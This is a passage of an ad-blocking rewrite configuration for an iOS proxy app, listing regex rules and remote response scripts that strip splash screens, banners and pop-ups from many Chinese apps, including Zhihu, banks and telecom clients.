+^https?:\/\/.*\.xima.*\.com\/(hub\/)?hotWordBillboard reject +# 屏蔽搜索框定时_Ad +^https?:\/\/.*\.xima.*\.com\/(hub)?guideWord reject +# 屏蔽实时Ad请求 +^https?:\/\/.*\.xima.*\.com\/api\/v\d\/adRealTime reject +# 屏蔽ting_Ad +^https?:\/\/.*\.xima.*\.com\/ting\/(loading|feed|home)? reject + + + +# >>>>>>>>>>>>>>> ✅ Y ✅ <<<<<<<<<<<<<< +# > YouTube +# hostname = rr*.googlevideo.com, youtubei.googleapis.com +# 播放页广告 +^https:\/\/rr[\w-]+\.googlevideo\.com\/initplayback\? reject-dict + +# > 曜影医疗 +# 去开屏和弹窗广告 +# hostname = patient-api.suh.cn, userpms-api.suh.cn +^https:\/\/userpms-api\.suh\.cn\/apt\/api\/bannar\/PageList\?sysSearchKey=sysPat&showSearchKey=advertising&pageIndex=1&pagesize=100&lanSearchValue=1&locationSearchKey=&status=1& reject-dict +^https:\/\/patient-api\.suh\.cn\/apt\/api\/userinfo\/GetNotice\?appname=pmsys&channel=6&device=ios&language=1&source=2&version= reject-dict + +# > 邮储银行 +# hostname = static.psbc.com, mcc.psbc.com, static.mobile-bank.psbc.com, d.psbc.com +# 添加主机名后影响APP正常运行 +^https?:\/\/static.psbc.com:8090\/mbank_f\/images\/[0-9]+\.png reject-200 +^https?:\/\/mcc.psbc.com:9090\/mcc\/resources\/[0-9]+\.(jpg|png) reject-200 +# 邮储信用卡 +^https?:\/\/d\.psbc\.com:9091\/mcc\/resources\/[0-9]+\.(jpg|png|jpeg) reject-200 +# 屏蔽升级弹窗 感谢@jinlvei分享 影响软件运行,如开启可自行添加主机名 +^https?:\/\/static\.mobile-bank\.psbc\.com\/mgs reject + +# > 银盛通 +# hostname = ad.ysepay.com +^https?:\/\/ad\.ysepay\.com\/yst-ad\/ST101001\/[0-9]{11}\.jpg reject + +# > 银盛小Y管家 +# hostname = ads.ysepay.com +#开屏广告 +^https:\/\/ads\.ysepay\.com\/ads\/ctrl\/getAdvertisingInfo reject-dict + +# > 盈宝证券 +# hostname = api.winbull8.com +# 首页和我的横幅广告 +^https?:\/\/api\.winbull8\.com\/v1\/marketing\/(advert|activity)\/(list|page) reject-dict + +# > 盈立智投 +# hostname = hz.yxzq.com +# 我的横幅广告 +^https?:\/\/hz\.yxzq\.com\/news-configserver\/api\/v1\/query\/banner_advertisement reject-dict + +# > 优酷 +# hostname = acs.youku.com, push.m.youku.com, un-acs.youku.com +# 播放页弹窗动图 +^https?:\/\/acs\.youku\.com\/gw\/mtop\.youku\.(pisp\.scripts\.get|xspace\.play\.position\.preload\.query|xspace\.poplayer\.position\.query) reject-dict + +# > 游戏时光 +# hostname = app02.vgtime.com, www.vgtime.com +# 开屏广告,文章顶部广告 感谢【Ava阿檬】分享 +^https?:\/\/app02\.vgtime\.com:8080\/vgtime-app\/api\/v2\/init\/ad\.json$ reject-dict +^(http:\/\/www\.vgtime\.com\/app\/topic\/\d+\.jhtml\?.*?&close_ad=)false(&page=\d&sign=\w+×tamp=\d+&font_size=\d$) $1true$2 302 + +# > 永辉 +# hostname = api.yonghuivip.com +^https?:\/\/api\.yonghuivip\.com\/web\/shensuan\/ad\/getAd reject-200 + +# > 悠洗APP +# hostname = api.ulife.group +# 净化 感谢【TEXAS】分享 +^https?:\/\/api\.ulife\.group\/signintask\/adServing reject-dict +^https?:\/\/api\.ulife\.group\/auth\/account\/getUpgradeStrategy reject-dict +^https?:\/\/api\.ulife\.group\/market\/frontEntrance\/getThirdAdvertising\?displayPort=1&type=15 reject-dict +^https?:\/\/api\.ulife\.group\/market\/memberCard\/listMemberCard\?isShowSecondaryCard=1 reject-dict +^https?:\/\/api\.ulife\.group\/auth\/account\/entrance reject-dict + +# > 一淘 +# hostname = acs.m.taobao.com +^https?:\/\/acs\.m\.taobao\.com\/gw\/mtop\.etao\.noah\.query\/.+tao_splash reject +^https?:\/\/acs\.m\.taobao\.com\/gw\/mtop\.alimama\.etao\.config\.query\/.+?etao_advertise reject + +# > 一号店 +# hostname = venus.yhd.com +^https?:\/\/venus\.yhd\.com\/memhome\/launchConfig reject + +# > 一汽大众 +# hostname = one-app-h5.faw-vw.com +# 开屏广告 感谢【finch.ftm】分享 +^https?:\/\/one-app-h5\.faw-vw\.com\/prod-api\/mobile\/one-app\/general\/public\/v1\/official_activity\/get_animation_putaway_list\?appkey.* reject-200 +^https?:\/\/one-app-h5\.faw-vw\.com\/prod-api\/mobile\/one-app\/general\/public\/v1\/first_page\/get_carousel_list?appkey.* reject-200 + +# > 一起考教师 +# hostname = api.17kjs.com +# 开屏广告及题库广告 感谢【Jessire】分享 +^https?:\/\/api\.17kjs\.com\/meta\/ads_targets reject + +# > 有兔阅读(米兔) +# hostname = img.dailmo.com, img.allahall.com, app.zhoudamozi.com +^https?:\/\/img\.dailmo\.com\/img\/61\/23c7125bfe6166d69f3bff5b0ca4d31e\.jpg reject +^https?:\/\/img\.dailmo\.com\/img\/50\/edb40c6392f848df37f9c31d8a6f90f6\.jpg reject +^https?:\/\/img\.dailmo\.com\/img\/6\/90585d9e96c73dd49644af57d8501624\.jpg reject +^https?:\/\/img\.dailmo\.com\/img\/5\/6cb2aa237ce1f65944aa1ecb29fbdeef\.jpg reject +^https?:\/\/img\.allahall\.com\/img\/61\/23c7125bfe6166d69f3bff5b0ca4d31e\.jpg reject +^https?:\/\/img\.allahall\.com\/img\/50\/edb40c6392f848df37f9c31d8a6f90f6\.jpg reject +^https?:\/\/img\.allahall\.com\/img\/6\/90585d9e96c73dd49644af57d8501624\.jpg reject +^https?:\/\/img\.allahall\.com\/img\/5\/6cb2aa237ce1f65944aa1ecb29fbdeef\.jpg reject +^https?:\/\/img\.allahall\.com\/img\/59\/6a13a75dfe46ebfdac96bd27ef098885\.jpg reject +^https?:\/\/app\.zhoudamozi\.com\/ad\/.+ reject-200 + +# > 雅虎 +# hostname = m.yap.yahoo.com +^https?:\/\/m\.yap\.yahoo\.com\/v\d{2}\/getAds\.do reject + +# > 印象笔记 +# hostname = app.yinxiang.com +^https?:\/\/app\.yinxiang\.com\/ads\/ reject-200 + +# > 易车 +# hostname = api.ycapp.yiche.com, cheyouapi.ycapp.yiche.com +^https?:\/\/api\.ycapp\.yiche\.com\/appnews\/getadlist reject-img +^https?:\/\/api\.ycapp\.yiche\.com\/yicheapp\/getadlist reject-img +^https?:\/\/cheyouapi\.ycapp\.yiche\.com\/appforum\/getusermessagecount reject-img + +# > 易捷加油 +# hostname = a.sinopecsales.com +# 开屏广告 +^https?:\/\/a\.sinopecsales\.com\/app\/cms reject-dict + +# > 易捷加油小程序 +# hostname = ocrifs.ejoy.sinopec.com +# 底部横幅广告 +^https?:\/\/ocrifs\.ejoy\.sinopec\.com\/advertitfs\/advert\/findAdvertInfo reject-dict + +# > 易校园 +# hostname = compus.xiaofubao.com +# 开屏广告 +^https?:\/\/compus\.xiaofubao\.com\/compus\/advertising\/getStartupAdvertising reject-dict + +# > 萤石 +# hostname = i.ys7.com +^https?:\/\/i\.ys7\.com\/api\/ads reject + +# > 云宝宝大数据 +# hostname = nnapp.cloudbae.cn +^https?:\/\/nnapp\.cloudbae\.cn:\d+\/mc\/api\/advert/ reject +^https?:\/\/nnapp\.cloudbae\.cn\/mc\/api\/advert/ reject + +# > 友邻优课 +# hostname = new-app-api.ylyk.com +^https?:\/\/new-app-api\.ylyk\.com\/v\d\/user\/myinfo\/adviser reject + +# > 友邦 +# hostname = e-static.aia.com.cn +^https?:\/\/e-static\.aia\.com\.cn\/kyh\/resourcefolder\/ads reject-dict + +# > 医考帮 +# hostname = api.yikaobang.com.cn +^https?:\/\/api\.yikaobang\.com\.cn\/client\/main\/homePageSmallAd reject +^https?:\/\/api\.yikaobang\.com\.cn\/index\.php\/Client\/main\/startPage reject +# 去强制更新 感谢【SH DDDDD】分享 +^https?:\/\/api\.yikaobang\.com\.cn\/index\.php\/version\/version\/check reject + +# > 艺龙旅行网 +# hostname = mobile-api2011.elong.com, webboot.zhangyue.com, saad.ms.zhangyue.net +^https?:\/\/mobile-api2011\.elong\.com\/ad(?>v|gateway) reject-200 +^https?:\/\/webboot\.zhangyue\.com\/zycl\/api\/ad\/ reject +^https?:\/\/saad\.ms\.zhangyue\.net\/ad reject + +# > 映客直播 +# hostname = service.busi.inke.cn +^https?:\/\/service\.busi\.inke\.cn\/api\/flash\/screen reject + +# > 云麦 +# hostname = restapi.iyunmai.com +^https?:\/\/restapi\.iyunmai\.com\/api\/ios\/ad\/ reject-200 + +# > 央视 +# hostname = www.cntv.cn +^https?:\/\/www\.cntv\.cn\/nettv\/adp\/ reject-200 + +# > 央视频 +# hostname = cdn.cmgadx.com +^https?:\/\/cdn\.cmgadx\.com\/sdk\/pool\/m8uTS50pt3DC0Xd6\.json reject-200 +^https?:\/\/cdn\.cmgadx\.com\/sdk\/pool\/\w+\.json reject + +# > 猿辅导 +# hostname = xyst.yuanfudao.com +^https?:\/\/xyst\.yuanfudao\.com\/iphone\/splashesV\d reject-200 + +# > 一刻相册 +# hostname = issuecdn.baidupcs.com +^https?:\/\/issuecdn\.baidupcs\.com\/issue\/netdisk\/ts_ad\/ reject-200 + +# > 翼支付 +# hostname = mapi-app.bestpay.com.cn +# 弹窗广告(APP降级10.66.80版本) 如开启可自行添加主机名 +^https?:\/\/mapi-app\.bestpay\.com\.cn\/gapi\/appclient\/noEnc\/getAppPopup reject-dict +# 开屏广告(APP降级10.66.80版本) +^https?:\/\/mapi-app\.bestpay\.com\.cn\/gapi\/appClient\/noEnc\/getHomePageAds reject-dict + +# > 鸭奈飞 +# hostname = pipi.4kya.com +^https?:\/\/pipi\.4kya\.com\/\/xgapp\.php\/v3\/advert\.position=[^2]+ reject + +# > 优书 +# hostname = gongdu.youshu.cc +^https?:\/\/gongdu\.youshu\.cc\/m\/open_screen\/list_by_udid reject + +# > 育学园 +# hostname = *.yuxueyuan.cn +^https?:\/\/.*\.yuxueyuan\.cn\/yxy-api-gateway\/api\/json\/advert\/getsAdStartScreen reject-200 + +# > 亚马逊 +# hostname = api-cslp-emt.amazon.cn +^https?:\/\/api-cslp-emt\.amazon\.cn\/gateway\/content\/widget\/popup reject-200 +^https?:\/\/api-cslp-emt\.amazon\.cn\/gateway\/recommend reject-dict + +# > 亚朵开屏 +# hostname = api2.yaduo.com +^https?:\/\/api2\.yaduo\.com\/atourlife\/activity\/appLaunch reject-dict + +# > 永安行 +# hostname = api5.youonbike.com +# 开屏以及app内弹窗广告 +^https:\/\/api5\.youonbike\.com\/ibike-rest-service\/user\/fun_IBF_GetAdvert reject-dict + +# > 云快充 微信小程序 +# hostname = web-stable-cdn.ykccn.com, gw3.ykccn.com +^https?:\/\/web-stable-cdn\.ykccn\.com\/sp-img-2023\/common\/weCom-open reject-img +^https?:\/\/gw3\.ykccn\.com\/api\/omp\/mt\/appAdvertising\/ reject-dict +^https?:\/\/gw3\.ykccn\.com\/activityServer\/app\/commandAd reject +^https?:\/\/gw3\.ykccn\.com\/api\/omp\/mt\/charge\/activity\/package\/newest reject-dict + +# > 游民星空 +# hostname = *.gamersky.com +# 移除开屏广告、列表广告 +^http:\/\/.+\.gamersky\.com\/.+\/adSystem\/ad\/.+ reject-dict +https://.+\.gamersky.com/v1/statisticAd reject-dict +http:\/\/.+\.gamersky.com/.+/lists/getListElements response-body-json-jq '.listElements |= map(select(has("adCategory") | not))' + + + +# >>>>>>>>>>>>>>> ✅ Z ✅ <<<<<<<<<<<<<< +# > 招商银行 +# hostname = webappcfg.paas.cmbchina.com, mbmodule-openapi.paas.cmbchina.com +# 开屏广告 +^https?:\/\/webappcfg\.paas\.cmbchina\.com\/v\d\/func\/getmarketconfig reject-200 +# 首页横幅广告 +^https?:\/\/mbmodule-openapi\.paas\.cmbchina\.com\/graphic\/v2\/module\/graphic reject-dict + +# > 掌上生活 +# hostname = mbasecc.bas.cmbchina.com, mbasecc.bcs.cmbchina.com, intellicc.bas.cmbchina.com, intellicc.bcs.cmbchina.com +# 开屏广告 +^https?:\/\/mbasecc\.(bas|bcs)\.cmbchina\.com\/Edge\/api\/mlife\.clientface\.clientservice\.api\.advertiseService\/preCacheAdvertiseSec reject-dict +# 设置栏目内广告 +^https?:\/\/intellicc\.bas\.cmbchina\.com\/Edge\/api\/mlife\.intelli\.render\.api\.render\/getDynamicDataSec reject +# 首页随机弹窗 +^https?:\/\/intellicc\.bcs\.cmbchina\.com\/Edge\/api\/mlife\.intelli\.adrender\.api\.AdWork\/getAdsBySlotId reject-dict + +# > 中国银行 +# hostname = mlife.jf365.boc.cn +# > 中国银行 缤纷生活 +^https?:\/\/mlife\.jf365\.boc\.cn\/AppPrj\/FirstPic\.do\?txnId=2PIC000001 reject-200 + +# > 中信银行 +# hostname = wap.bank.ecitic.com, imcs.citicbank.com +^https?:\/\/wap.bank\.ecitic\.com:6443\/NMBFOServer\/cbframework\.do\?act=CUBEPAGEDATA reject-200 +# 开屏广告 +^https:\/\/imcs\.citicbank\.com\/cloud\/([a-fA-F0-9]{32})\.(jpg|png) reject +^https?:\/\/imcs\.citicbank\.com\/cloud\/.+(1125.+2436|1242.+2688|750.+1638|563.+1218) reject-dict + +# > 中国移动 +# hostname = client.app.coc.10086.cn, app.10086.cn +^https?:\/\/client\.app\.coc\.10086\.cn\/biz-orange\/DN\/init\/startInit reject-200 +^https?:\/\/client\.app\.coc\.10086\.cn\/biz-orange\/DN\/explorePage\/getAdverList reject +# 多个悬浮窗 +^https?:\/\/(client\.app\.coc|app)\.10086\.cn\/biz-orange\/DN\/emotionMarket reject + +# > 中国移动云盘 +# hostname = mcmm.caiyun.feixin.10086.cn, mrp.mcloud.139.com, ad.mcloud.139.com, middle.yun.139.com +^https?:\/\/mcmm\.caiyun\.feixin\.10086\.cn:80\/mcmm\/api\/IAdvert reject-200 +^https?:\/\/mcmm\.caiyun\.feixin\.10086\.cn:80\/mcmm\/api\/v\d\/getAdverts reject-200 +^https?:\/\/middle\.yun\.139\.com\/openapi\/cardConfig\/queryCardInfoV3 reject-200 +^https?:\/\/ad\.mcloud\.139\.com\/advertapi\/adv-filter\/adv-filter\/AdInfoFilter\/getAdInfos reject-dict +^https?:\/\/mrp\.mcloud\.139\.com\/mc\/mc-client-service\/openapi\/letter\/query reject-dict + +# > 中国联通 +# hostname = m.client.10010.com, m1.ad.10010.com, res.mall.10010.cn +^https?:\/\/m\.client\.10010\.com\/mobileService\/(activity|customer)\/(accountListData|get_client_adv|get_startadv) reject-img +^https?:\/\/m\.client\.10010\.com\/mobileService\/customer\/getclientconfig\.htm reject-dict +^https?:\/\/m\.client\.10010\.com\/uniAdmsInterface\/(getHomePageAd|getWelcomeAd) reject-img +^https?:\/\/[^(apple|10010)]+\.(com|cn)\/(a|A)d(s|v)?(\/|\.js) reject-img +^https?:\/\/m1\.ad\.10010\.com\/noticeMag\/images\/imageUpload\/2\d{3} reject-img +^https?:\/\/res\.mall\.10010\.cn\/mall\/common\/js\/fa\.js?referer= reject-img + +# > 中国电信 +# hostname = cloud.189.cn, zt-app.go189.cn +^https?:\/\/cloud\.189\.cn\/include\/splash\/ reject +^https?:\/\/zt-app\.go189\.cn\/zt-app\/welcome\/.*?Animation reject-img + +# > 中国广电 +# hostname = app.10099.com.cn +^https?:\/\/app\.10099\.com\.cn\/contact-web\/api\/version\/getFlashScreenPage reject-200 + +# > 中国天气网小程序 +# hostname = e.weather.com.cn +# 横幅广告 +^https?:\/\/e\.weather\.com\.cn\/weChat\/typhoonNull\.json reject-dict + +# > 中国知网 +# hostname = xyz.cnki.net +^https?:\/\/xyz\.cnki\.net\/resourcev7\/api\/manualpush\/SlidsList$ reject-200 + +# > 中国人保 +# hostname = zgrb.epicc.com.cn +# 人保头条 +^https?:\/\/zgrb\.epicc\.com\.cn\/G-HAPP\/h\/headlines\/queryHeadlines reject +# 启动开屏 +^https?:\/\/zgrb\.epicc\.com\.cn\/G-HAPP\/a\/update\/startupPage\/v reject-dict +# 猜你喜欢 +^https?:\/\/zgrb\.epicc\.com\.cn\/G-HAPP\/a\/config\/guessYouLike\/v reject-dict + +# > 中国人寿 +# hostname = ecssmobile.e-chinalife.com +# 屏蔽开屏广告 +^https:\/\/ecssmobile\.e-chinalife\.com:8082\/ecss\/web\/appupdate\/customization\/getFlashScreenInfo reject-dict + +# > 中油优途 +# hostname = sichuan.95504.net +^https?:\/\/sichuan\.95504\.net\/v\d\/gd\/index\/get reject-200 + +# > 中羽在线 +# hostname = app.badmintoncn.com +^https?:\/\/app\.badmintoncn\.com\/mag\/operative\/v\d\/ad\/listNotEndByPlace\?place=first_page reject-200 + +# > 中通快递 +# hostname = hdgateway.zto.com +# 微信小程序净化 +^https?:\/\/hdgateway\.zto\.com\/getApolloConfig reject-dict +^https?:\/\/hdgateway\.zto\.com\/track reject-dict +^https?:\/\/hdgateway\.zto\.com\/getAdInfo reject-dict +^https?:\/\/hdgateway\.zto\.com\/listJumperShow reject-dict + +# > 中银跨境GO +# hostname = openapi.boc.cn +# 开屏广告 首页弹窗 如开启可自行添加主机名 +^https?:\/\/openapi\.boc\.cn\/unlogin\/app\/cbsp\/query_ad_list reject-200 + +# > 中油好客e站小程序 +# hostname = minipro.95504.net +# 弹窗广告 +^https?:\/\/minipro\.95504\.net\/app\/json\/ad\/getPopAdData reject-dict +# 底部横幅广告 +^https?:\/\/minipro\.95504\.net\/app\/json\/ad\/getIndexAdData reject-dict + +# > 中关村在线 +# hostname = apicloud.zol.com.cn +# 需要重装 +^https?:\/\/apicloud\.zol\.com\.cn\/Article\/WapLaunchLogo reject-dict + +# > 众邦银行 +# hostname = direct.z-bank.com +# 倒计时还在,点击任意位置跳过开屏动画 +^https?:\/\/direct\.z-bank\.com\/portal\/AdvertImageDownLoad4Mobile\.do reject-200 + +# > 涨乐财富通 +# hostname = c.zhangle.com, live.inst-service.htsc.com, geetest.htsc.com, 119.29.29.* +# 开屏广告 弹窗广告 +^https?:\/\/c\.zhangle\.com\/pic\/mktg\/diversity\/.+\.jpg$ reject-dict +^https?:\/\/live\.inst-service\.htsc\.com\/live reject-dict +^https?:\/\/geetest\.htsc\.com:8888\/pre_get_token reject-200 +^https?:\/\/119\.29\.29\.\d+\/d reject-200 + +# > 知乎 +# hostname = api.zhihu.com, www.zhihu.com, appcloud2.zhihu.com, m-cloud.zhihu.com, zhuanlan.zhihu.com, link.zhihu.com +# 首页 - 悬浮图标、顶部横幅、开屏广告、关注页推荐、推荐信息流、热榜信息流、热榜直播、回答底部卡片 +^https:\/\/api\.zhihu\.com\/commercial_api\/(?:answer\/\d+\/bottom-v2|article\/\d+\/bottom-v2|banners_v3\/app_topstory_banner|launch_v2|real_time_launch_v2) reject-dict +^https:\/\/api\.zhihu\.com\/content-distribution-core\/bubble\/common\/settings reject-dict +^https:\/\/api\.zhihu\.com\/(?:moments\/lastread|drama\/hot-drama-list) reject-dict +^https:\/\/api\.zhihu\.com\/root\/window reject-dict +# 会员页面 - 弹窗、悬浮动图 +^https:\/\/api\.zhihu\.com\/(?:bazaar\/float_window|market\/popovers_v2) reject-dict +# 我的页面 - 项目列表、会员卡片 +^https:\/\/api\.zhihu\.com\/me\/guides reject-dict +^https:\/\/api\.zhihu\.com\/unlimited\/go\/my_card reject +# 搜索页 - 关键词、猜你想搜 +^https:\/\/api\.zhihu\.com\/search\/(hot_search|preset_words) reject-dict +^https:\/\/api\.zhihu\.com\/search\/recommend_query\/v2\? response-body-replace-regex "recommend_queries":\{.+\} "recommend_queries":{} +^https:\/\/www\.zhihu\.com\/api\/v4\/search\/related_queries\/(?:article|answer)\/\d+ reject-dict +# 回答详情页 - 评论区顶部、下一个回答 +^https:\/\/api\.zhihu\.com\/comment_v5\/(?:articles|answers)\/\d+\/list-headers reject-dict +^https:\/\/api\.zhihu\.com\/prague\/related_suggestion_native\/feed\? reject-dict +^https:\/\/api\.zhihu\.com\/v5\.1\/topics\/answer\/\d+\/relation reject-dict +# 其他 - 服务器推送配置 +^https:\/\/api\.zhihu\.com\/ab\/api\/v1\/products\/zhihu\/platforms\/ios\/config reject +^https:\/\/api\.zhihu\.com\/ad-style-service\/request reject-dict +^https:\/\/appcloud2\.zhihu\.com\/v3\/resource\?group_name=mp reject-dict +^https:\/\/link\.zhihu\.com\/\?target=(?:https?)?(?:%3A|:)?(?:\/\/|%2F%2F)?(.*) 302 http://$1 +# 网页版去广告 //www.zhihu.com, zhuanlan.zhihu.com +^https:\/\/api\.zhihu\.com\/distribute\/rhea\/qa_ad_card\/h5\/recommendation\? reject-dict +^https:\/\/www\.zhihu\.com\/api\/v4\/hot_recommendation reject +^https:\/\/www\.zhihu\.com\/api\/v4\/mcn\/v2\/linkcards\? reject +^https:\/\/www\.zhihu\.com\/api\/v4/(?:answers|questions)\/\d+/related-readings reject +^https:\/\/www\.zhihu\.com\/commercial_api\/banners_v3\/mobile_banner reject +^https:\/\/zhuanlan\.zhihu\.com\/api\/articles\/\d+\/recommendation reject + +# > 追书神器 +# hostname = adx-cn.anythinktech.com +^https?:\/\/adx-cn\.anythinktech\.com\/bid reject-200 + +# > 作业帮 +# hostname = syh.zybang.com, www.zybang.com +^https?:\/\/(syh|www)\.zybang\.com\/adx\/ reject-200 + +# > 掌阅 +# hostname = ih2.ireader.com, book.img.ireader.com +^https?:\/\/ih2\.ireader\.com\/zyapi\/bookstore\/ad\/ reject-200 +^https?:\/\/ih2\.ireader\.com\/zyapi\/self\/screen\/ad reject-200 +^https?:\/\/ih2\.ireader\.com\/zycl\/api\/ad\/ reject-200 +^https?:\/\/book\.img\.ireader\.com\/group6\/M00 reject-img + +# > 掌上道具城 +# hostname = djcapp.game.qq.com +^https?:\/\/djcapp\.game\.qq\.com\/daoju\/igw\/main\/\?_service=welink\.ad\.list&_ret_key=result&site_set reject-200 + +# > 掌上公交 +# hostname = quanguo.mygolbs.com, wx.mygolbs.com +# 我的横幅广告 +^https?:\/\/quanguo\.mygolbs\.com:8081\/MyBusServer\/servlet\/MyGoServer\.HttpPool\.HttpHandlerServlet reject-200 + +# > 掌上鹿城 +# hostname = vapp.tmuyun.com +# 开屏广告 +^https?:\/\/vapp\.tmuyun\.com\/api\/app_start_page\/list\/new reject-dict + +# > 字节跳动 +# hostname = *.pstatp.com, amemv.com, musical.com, snssdk.com, tiktokv.com, dsp.toutiao.com +#^https?:\/\/.+\.pstatp\.com\/img\/ad reject-200 +^https?:\/\/.+\.(amemv|musical|snssdk|tiktokv)\.com\/(api|motor)\/ad\/ reject-200 +^https?:\/\/.+\.snssdk\.com\/motor\/operation\/activity\/display\/config\/V2\/ reject-200 +^https?:\/\/[\w-]+\.amemv\.com\/aweme\/v\d\/ad\/ reject +^https?:\/\/[\w-]+\.snssdk\.com\/.+_ad\/ reject +^https?:\/\/.+\.amemv\.com\/.+app_log reject-img +^https?:\/\/.+\.amemv\.com\/.+report reject-img +^https?:\/\/.+\.amemv\.com\/.+stats reject-img + +# > 最右 +# hostname = api.izuiyou.com, adapi.izuiyou.com +^https?:\/\/api\.izuiyou\.com\/ad\/ reject +^https?:\/\/adapi\.izuiyou\.com\/ reject + +# > 转转 +# hostname = app.zhuanzhuan.com +^https?:\/\/app\.zhuanzhuan\.com\/zzx\/transfer\/getConfigInfo reject-dict +^https?:\/\/app\.zhuanzhuan\.com\/zzopen\/popwindow\/getallpopwin\? reject-dict +^https?:\/\/app\.zhuanzhuan\.com\/zz\/v2\/zzlogic\/getOpenScreen reject-dict +# 转转右下角悬浮广告 +^https?:\/\/app\.zhuanzhuan\.com\/zz\/transfer\/userred\?scene=homePage reject-dict +^https?:\/\/app\.zhuanzhuan\.com\/zz\/v2\/zzinfoshow\/getfeedflowinfo\? response-body-replace-regex userRed fmz200 +# “我的”页面去除冗余的模块 +^https?:\/\/app\.zhuanzhuan\.com\/zz\/v2\/zzinfoshow\/getchoicegoodsinfos response-body-replace-regex infoData fmz200 + +# > 掌上英雄联盟 +# hostname = us.l.qq.com, ossweb-img.qq.com, mlol.qt.qq.com +# 开屏广告 感谢【𝑨梦 𝑪𝒉𝒙𝒎𝟏𝟎𝟐𝟑】分享 +^https?:\/\/us\.l\.qq\.com\/exapp reject-200 +^https?:\/\/ossweb-img\.qq\.com\/upload\/adw\/image\/[0-9]{3}\/202[0-9]{5}\/[a-z0-9]{32}\.(jpg|jpeg) reject-200 +^https?:\/\/mlol\.qt\.qq\.com\/go\/recommend reject + +# > 浙里办 +# hostname = portal.zjzwfw.gov.cn +^https?:\/\/portal\.zjzwfw\.gov\.cn\/app_api\/appHome\/selectStartPic response-body-json-replace data {} + +# > 郑好办 +# hostname = app-izz.zhengzhou.gov.cn +# 去开屏 +^https?:\/\/app-izz\.zhengzhou\.gov\.cn:10019\/bizgw\/gateway\.do response-body-replace-regex "imgUrl19_5x9":".+?" "imgUrl19_5x9":"" + +# > 住这儿 +# hostname = z.onewo.com +# 开屏广告 感谢【Mozart】分享 +^https?:\/\/z\.onewo\.com\/passer\/api\/ads\/v1\/8\/list reject-200 + +# > 指点天下 +# hostname = zua.zhidiantianxia.cn +# 开屏广告 +^https?:\/\/zua\.zhidiantianxia\.cn\/api\/adverts reject + +# > 猪八戒 +# hostname = fastbuyer.zbj.com +^https?:\/\/fastbuyer\.zbj\.com\/configure\/screenAdConfig\/ reject-200 + +# > 智行APP +# hostname = m.ctrip.com +# 开屏广告 影响携程部分功能正常运行,携程8.40.0以下的版本不受影响。如开启可自行添加主机名 +^https?:\/\/m\.ctrip\.com\/restapi\/soa2\/13916\/scjson\/tripAds reject-dict + +# > 自如 +# hostname = ztoread.ziroom.com +^https?:\/\/ztoread\.ziroom\.com\/foka-card-api\/popup\/v2\/get reject-dict +^https?:\/\/ztoread\.ziroom\.com\/ymerApi\/v\d\/index\/open reject-dict + +# > 追剧达人 +# hostname = zjdr666.com +^https?:\/\/zjdr666\.com\/zjdr\.php\/v\d\/(version|top_notice\?|advert\?position=[^2]+) reject + +# > 职工普惠 +# hostname = preprod.cdzghome.com +# 需卸载重装 感谢【zyu0090】分享 +^https?:\/\/preprod\.cdzghome\.com:8100\/banner\/bootUp reject-200 + +# > 正气助手 +# hostname = apio.zhengqi100.com +# 去主界面广告 +^https?:\/\/apio\.zhengqi100\.com\/forum\/thread\/listsHome reject-dict + +# > 招财猫直聘 +# hostname = beehiveapi.58.com +^https?:\/\/beehiveapi\.58\.com\/adplace\/zcm reject-dict + + + +# ===================================== +# 脚本 +# ===================================== +[Script] +# >>>>>>>>>>>>>>> ✅ 0 ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ 1 ✅ <<<<<<<<<<<<<< +# > 12306 +http-request ^https?:\/\/ad\.12306\.cn\/ad\/ser\/getAdList script-path=https://raw.githubusercontent.com/kokoryh/Script/master/js/12306.js, requires-body=true, timeout=60, tag=12306, enable={12306_enable} + + + +# >>>>>>>>>>>>>>> ✅ 2 ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ 3 ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ 4 ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ 5 ✅ <<<<<<<<<<<<<< +# > 555影视 +http-response ^https?:\/\/[a-zA-Z0-9-]+(\.[a-zA-Z0-9-]+){1,3}(:\d+)?\/api\/v\d\/movie\/index_recommend script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/555Ad.js, requires-body=true, timeout=60, tag=555影视广告, enable={555_enable} + +# > 51信用卡管家 +http-response ^https?:\/\/api\.u51\.com\/liabilitygateway\/api\/v\d\/homepage\/liabilityline script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/51card.js, requires-body=true, timeout=60, tag=51信用卡管家, enable={51xyk_enable} +http-response ^https?:\/\/api\.u51\.com\/generic-config-gateway\/api\/v\d\/guanjia\/me-tab2\/config script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/51card.js, requires-body=true, timeout=60, tag=51信用卡管家, enable={51xyk_enable} + +# > 51job +http-response ^https?:\/\/cupid\.51job(app)?\.com\/open\/noauth\/recommend\/job-tab-dynamic script-path=https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/AntiAd/51job.js, requires-body=true, timeout=60, tag=51job, enable={51job_enable} + + + +# >>>>>>>>>>>>>>> ✅ 6 ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ 7 ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ 8 ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ 9 ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ A ✅ <<<<<<<<<<<<<< +# > 阿里巴巴 +http-response ^https:\/\/guide-acs\.m\.taobao\.com\/gw\/mtop\.cainiao\.guoguo\.nbnetflow\.ads\.mshow script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cainiao/cainiao.js, requires-body=true, timeout=60, tag=阿里巴巴广告, enable={albb_enable} +http-response ^https:\/\/guide-acs\.m\.taobao\.com\/gw\/mtop\.taobao\.(cloudvideo\.video\.query|wireless\.home\.splash\.awesome\.get) script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/myBlockAds.js, requires-body=true, timeout=60, tag=阿里巴巴广告, enable={albb_enable} +http-response ^https:\/\/poplayer\.template\.alibaba\.com\/\w+\.json script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/myBlockAds.js, requires-body=true, timeout=60, tag=myBlockAds, enable={albb_enable} + +# > 阿里云盘 +http-response ^https:\/\/api\.alipan\.com\/apps\/v2\/users\/home\/(news|widgets) 